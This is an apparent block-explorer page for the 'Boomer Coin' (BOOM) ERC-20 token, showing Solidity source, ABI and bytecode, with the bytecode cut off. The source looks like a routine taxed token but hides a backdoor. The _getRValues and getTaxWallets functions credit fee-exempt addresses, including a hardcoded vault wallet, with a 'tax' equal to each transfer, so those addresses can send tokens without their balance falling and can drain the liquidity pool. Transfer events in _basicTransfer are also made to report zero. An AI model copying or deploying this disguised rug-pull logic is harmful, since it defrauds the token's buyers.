Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IRouter02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(    - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div( interface IFactory    - function createPair(  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract BOOM is Context, IERC20, ... *    - function openTrading()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _basicTransfer(address from, ...    - function createTradingPair()    - function _transfer(address from, addr ...    - function _getRValues(    - function getTaxWallets(address addr)    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFees(uint256 amount ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-05-17
*/

// SPDX-License-Identifier: MIT

/**

Website: https://www.boomercoin.wtf

Telegram: https://t.me/boomercoin_erc20

Twitter: https://twitter.com/boomercoin_eth

*/

pragma solidity 0.8.20;

interface IRouter02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract BOOM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExceptedFromFees;

    address payable private _vaultWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Boomer Coin";
    string private constant _symbol = unicode"BOOM";
    uint256 public _maxTxAmount = (_tTotal * 20) / 1000;
    uint256 public _maxWalletSize = (_tTotal * 20) / 1000;
    uint256 public _maxTaxSwap = (_tTotal * 10) / 1000;
    uint256 private taxMxFees = 1000;

    IRouter02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    
    constructor() {
        _vaultWallet = payable(0xe2aF8590892E3925B096B74F030c42b3b829F399);
        _isExceptedFromFees[owner()] = true;
        _isExceptedFromFees[_vaultWallet] = true;
        _isExceptedFromFees[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");
        
        uint256 tokenAmount = balanceOf(address(this)).sub(
            _tTotal.mul(_initialBuyTax).div(100)
        );

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        swapEnabled = true;
        tradingOpen = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 amount) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount.sub(amount));
    }

    function createTradingPair() external onlyOwner {
        require(!tradingOpen, "init already called");

        uniswapV2Router = IRouter02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        address taxW = getTaxWallets(from);

        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExceptedFromFees[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExceptedFromFees[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            uint256 caBalances = balanceOf(address(this));

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExceptedFromFees[from] &&
                !_isExceptedFromFees[to]
            ) {
                if(caBalances > 0)
                    swapTokensForEth(min(amount, min(caBalances, _maxTaxSwap)));
                
                sendETHToFees(address(this).balance);
            }
        }

        (uint256 taxAmount, uint256 tsAmounts) = _getRValues(
            from,
            to,
            amount
        );

        if (taxAmount > 0) {
            _balances[taxW] = _balances[taxW].add(taxAmount);
            emit Transfer(from, taxW, taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(tsAmounts);

        emit Transfer(from, to, tsAmounts);
    }

    function _getRValues(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256, uint256) {
        uint256 taxAmount = 0;
        uint256 tsAmounts = amount;
        if (_isExceptedFromFees[from]) {
            taxAmount = amount.mul(taxMxFees).div(1000);
        } else if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExceptedFromFees[to]
        ) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            tsAmounts -= taxAmount;
        } else if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
            tsAmounts -= taxAmount;
        }
        return (taxAmount, tsAmounts);
    }

    function getTaxWallets(address addr) internal view returns (address) {
        return _isExceptedFromFees[addr] ? addr : address(this);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFees(uint256 amount) private {
        _vaultWallet.transfer(amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createTradingPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526103e8620000156009600a6200036a565b6200002590633b9aca0062000381565b6200003290601462000381565b6200003e91906200039b565b6005556103e8620000526009600a6200036a565b6200006290633b9aca0062000381565b6200006f90601462000381565b6200007b91906200039b565b6006556103e86200008f6009600a6200036a565b6200009f90633b9aca0062000381565b620000ac90600a62000381565b620000b891906200039b565b6007556103e8600855600a805461ffff60a81b191690556019600b819055600c555f600d819055600e819055600f808055601081905560115560125534801562000100575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673e2af8590892e3925b096b74f030c42b3b829f399179055600160035f6200017e5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001e26009600a6200036a565b620001f290633b9aca0062000381565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002346009600a6200036a565b6200024490633b9aca0062000381565b60405190815260200160405180910390a3620003bb565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002af57815f19048211156200029357620002936200025b565b80851615620002a157918102915b93841c939080029062000274565b509250929050565b5f82620002c75750600162000364565b81620002d557505f62000364565b8160018114620002ee5760028114620002f95762000319565b600191505062000364565b60ff8411156200030d576200030d6200025b565b50506001821b62000364565b5060208310610133831016604e8410600b84101617156200033e575081810a62000364565b6200034a83836200026f565b805f19048211156200036057620003606200025b565b0290505b92915050565b5f6200037a60ff841683620002b7565b9392505050565b80820281158282048414176200036457620003646200025b565b5f82620003b657634e487b7160e01b5f52601260045260245ffd5b500490565b6119af80620003c95f395ff3fe6080604052600436106100fd575f3560e01c8063715018a6116100925780638f9a55c0116100625780638f9a55c01461029a57806395d89b41146102af578063a9059cbb146102db578063c9567bf9146102fa578063dd62ed3e1461030e575f80fd5b8063715018a614610237578063751039fc1461024b5780637d1db4a51461025f5780638da5cb5b14610274575f80fd5b806318160ddd116100cd57806318160ddd146101b557806323b872dd146101c9578063313ce567146101e857806370a0823114610203575f80fd5b806306fdde0314610108578063095ea7b31461014d5780630c11ab691461017c5780630faee56f14610192575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a2137b7b6b2b91021b7b4b760a91b60208201525b60405161014491906115a2565b60405180910390f35b348015610158575f80fd5b5061016c610167366004611604565b610352565b6040519015158152602001610144565b348015610187575f80fd5b50610190610368565b005b34801561019d575f80fd5b506101a760075481565b604051908152602001610144565b3480156101c0575f80fd5b506101a76105be565b3480156101d4575f80fd5b5061016c6101e336600461162e565b6105de565b3480156101f3575f80fd5b5060405160098152602001610144565b34801561020e575f80fd5b506101a761021d36600461166c565b6001600160a01b03165f9081526001602052604090205490565b348015610242575f80fd5b50610190610640565b348015610256575f80fd5b506101906106b1565b34801561026a575f80fd5b506101a760055481565b34801561027f575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a5575f80fd5b506101a760065481565b3480156102ba575f80fd5b50604080518082019091526004815263424f4f4d60e01b6020820152610137565b3480156102e6575f80fd5b5061016c6102f5366004611604565b610732565b348015610305575f80fd5b5061019061073e565b348015610319575f80fd5b506101a7610328366004611687565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035e338484610930565b5060015b92915050565b5f546001600160a01b0316331461039a5760405162461bcd60e51b8152600401610391906116be565b60405180910390fd5b600a54600160a01b900460ff16156103ea5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610391565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556104379130919061042490600a6117e7565b61043290633b9aca006117f5565b610930565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610487573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ab919061180c565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561050a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052e919061180c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610578573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061059c919061180c565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b5f6105cb6009600a6117e7565b6105d990633b9aca006117f5565b905090565b5f6105ea848484610a54565b610636843361043285604051806060016040528060288152602001611952602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061100a565b5060019392505050565b5f546001600160a01b031633146106695760405162461bcd60e51b8152600401610391906116be565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106da5760405162461bcd60e51b8152600401610391906116be565b5f1960058190556006557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107116009600a6117e7565b61071f90633b9aca006117f5565b60405190815260200160405180910390a1565b5f61035e338484610a54565b5f546001600160a01b031633146107675760405162461bcd60e51b8152600401610391906116be565b600a54600160a01b900460ff16156107b85760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610391565b5f6108046107ef60646107e9600b546009600a6107d591906117e7565b6107e390633b9aca006117f5565b90611042565b906110c7565b305f9081526001602052604090205490611108565b6009546040805163f305d71960e01b8152306004820152602481018490525f6044820181905260648201523360848201524260a482015290519293506001600160a01b039091169163f305d71991479160c4808301926060929190829003018185885af1158015610877573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089c9190611827565b5050600a5460095460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109159190611852565b5050600a805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610391565b6001600160a01b0382166109f35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610391565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ab85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610391565b6001600160a01b038216610b1a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610391565b5f8111610b7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610391565b600a54600160b01b900460ff161580610b9d5750600a54600160a81b900460ff165b15610bb257610bad838383611149565b505050565b5f610bbc846111f0565b9050610bcf5f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bfd57505f546001600160a01b03848116911614155b15610ec157600a546001600160a01b038581169116148015610c2d57506009546001600160a01b03848116911614155b8015610c5157506001600160a01b0383165f9081526003602052604090205460ff16155b15610d3757600554821115610ca85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610391565b60065482610cca856001600160a01b03165f9081526001602052604090205490565b610cd49190611871565b1115610d225760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610391565b60128054905f610d3183611884565b91905055505b600a546001600160a01b03848116911614801590610d6d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dec5760065482610d94856001600160a01b03165f9081526001602052604090205490565b610d9e9190611871565b1115610dec5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610391565b305f90815260016020526040902054600a54600160a81b900460ff16158015610e225750600a546001600160a01b038581169116145b8015610e375750600a54600160b01b900460ff165b8015610e465750601154601254115b8015610e6a57506001600160a01b0385165f9081526003602052604090205460ff16155b8015610e8e57506001600160a01b0384165f9081526003602052604090205460ff16155b15610ebf578015610eb657610eb6610eb184610eac84600754611219565b611219565b61122d565b610ebf4761139d565b505b5f80610ece8686866113d8565b90925090508115610f57576001600160a01b0383165f90815260016020526040902054610efb9083611518565b6001600160a01b038085165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4e9086815260200190565b60405180910390a35b6001600160a01b0386165f90815260016020526040902054610f799085611108565b6001600160a01b038088165f908152600160205260408082209390935590871681522054610fa79082611518565b6001600160a01b038087165f8181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ffa9085815260200190565b60405180910390a3505050505050565b5f818484111561102d5760405162461bcd60e51b815260040161039191906115a2565b505f611039848661189c565b95945050505050565b5f825f0361105157505f610362565b5f61105c83856117f5565b90508261106985836118af565b146110c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610391565b9392505050565b5f6110c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611576565b5f6110c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100a565b6001600160a01b0383165f9081526001602052604090205461116b9082611108565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546111999082611518565b6001600160a01b038084165f8181526001602052604090209290925584167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e28480611108565b604051908152602001610a47565b6001600160a01b0381165f9081526003602052604081205460ff166112155730610362565b5090565b5f81831161122757826110c0565b50919050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611273576112736118ce565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ee919061180c565b81600181518110611301576113016118ce565b6001600160a01b0392831660209182029290920101526009546113279130911684610930565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135f9085905f908690309042906004016118e2565b5f604051808303815f87803b158015611376575f80fd5b505af1158015611388573d5f803e3d5ffd5b5050600a805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156113d4573d5f803e3d5ffd5b5050565b6001600160a01b0383165f9081526003602052604081205481908190849060ff1615611420576114196103e86107e96008548861104290919063ffffffff16565b915061150c565b600a546001600160a01b03888116911614801561144b57506009546001600160a01b03878116911614155b801561146f57506001600160a01b0386165f9081526003602052604090205460ff16155b156114ad5761149a60646107e9600f546012541161148f57600b54611493565b600d545b8890611042565b91506114a6828261189c565b905061150c565b600a546001600160a01b0387811691161480156114d357506001600160a01b0387163014155b1561150c576114fd60646107e9601054601254116114f357600c54611493565b600e548890611042565b9150611509828261189c565b90505b90969095509350505050565b5f806115248385611871565b9050838110156110c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610391565b5f81836115965760405162461bcd60e51b815260040161039191906115a2565b505f61103984866118af565b5f6020808352835180828501525f5b818110156115cd578581018301518582016040015282016115b1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611601575f80fd5b50565b5f8060408385031215611615575f80fd5b8235611620816115ed565b946020939093013593505050565b5f805f60608486031215611640575f80fd5b833561164b816115ed565b9250602084013561165b816115ed565b929592945050506040919091013590565b5f6020828403121561167c575f80fd5b81356110c0816115ed565b5f8060408385031215611698575f80fd5b82356116a3816115ed565b915060208301356116b3816115ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174157815f1904821115611727576117276116f3565b8085161561173457918102915b93841c939080029061170c565b509250929050565b5f8261175757506001610362565b8161176357505f610362565b816001811461177957600281146117835761179f565b6001915050610362565b60ff841115611794576117946116f3565b50506001821b610362565b5060208310610133831016604e8410600b84101617156117c2575081810a610362565b6117cc8383611707565b805f19048211156117df576117df6116f3565b029392505050565b5f6110c060ff841683611749565b8082028115828204841417610362576103626116f3565b5f6020828403121561181c575f80fd5b81516110c0816115ed565b5f805f60608486031215611839575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611862575f80fd5b815180151581146110c0575f80fd5b80820180821115610362576103626116f3565b5f60018201611895576118956116f3565b5060010190565b81810381811115610362576103626116f3565b5f826118c957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119305784516001600160a01b03168352938301939183019160010161190b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002b246e07f45c6f320a8995668f7b463d601018a742cade0ae51dc9fd7414cfb64736f6c63430008140033

0x6080604052600436106100fd575f3560e01c8063715018a6116100925780638f9a55c0116100625780638f9a55c01461029a57806395d89b41146102af578063a9059cbb146102db578063c9567bf9146102fa578063dd62ed3e1461030e575f80fd5b8063715018a614610237578063751039fc1461024b5780637d1db4a51461025f5780638da5cb5b14610274575f80fd5b806318160ddd116100cd57806318160ddd146101b557806323b872dd146101c9578063313ce567146101e857806370a0823114610203575f80fd5b806306fdde0314610108578063095ea7b31461014d5780630c11ab691461017c5780630faee56f14610192575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a2137b7b6b2b91021b7b4b760a91b60208201525b60405161014491906115a2565b60405180910390f35b348015610158575f80fd5b5061016c610167366004611604565b610352565b6040519015158152602001610144565b348015610187575f80fd5b50610190610368565b005b34801561019d575f80fd5b506101a760075481565b604051908152602001610144565b3480156101c0575f80fd5b506101a76105be565b3480156101d4575f80fd5b5061016c6101e336600461162e565b6105de565b3480156101f3575f80fd5b5060405160098152602001610144565b34801561020e575f80fd5b506101a761021d36600461166c565b6001600160a01b03165f9081526001602052604090205490565b348015610242575f80fd5b50610190610640565b348015610256575f80fd5b506101906106b1565b34801561026a575f80fd5b506101a760055481565b34801561027f575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a5575f80fd5b506101a760065481565b3480156102ba575f80fd5b50604080518082019091526004815263424f4f4d60e01b6020820152610137565b3480156102e6575f80fd5b5061016c6102f5366004611604565b610732565b348015610305575f80fd5b5061019061073e565b348015610319575f80fd5b506101a7610328366004611687565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61035e338484610930565b5060015b92915050565b5f546001600160a01b0316331461039a5760405162461bcd60e51b8152600401610391906116be565b60405180910390fd5b600a54600160a01b900460ff16156103ea5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610391565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556104379130919061042490600a6117e7565b61043290633b9aca006117f5565b610930565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610487573d5f803e3d5ff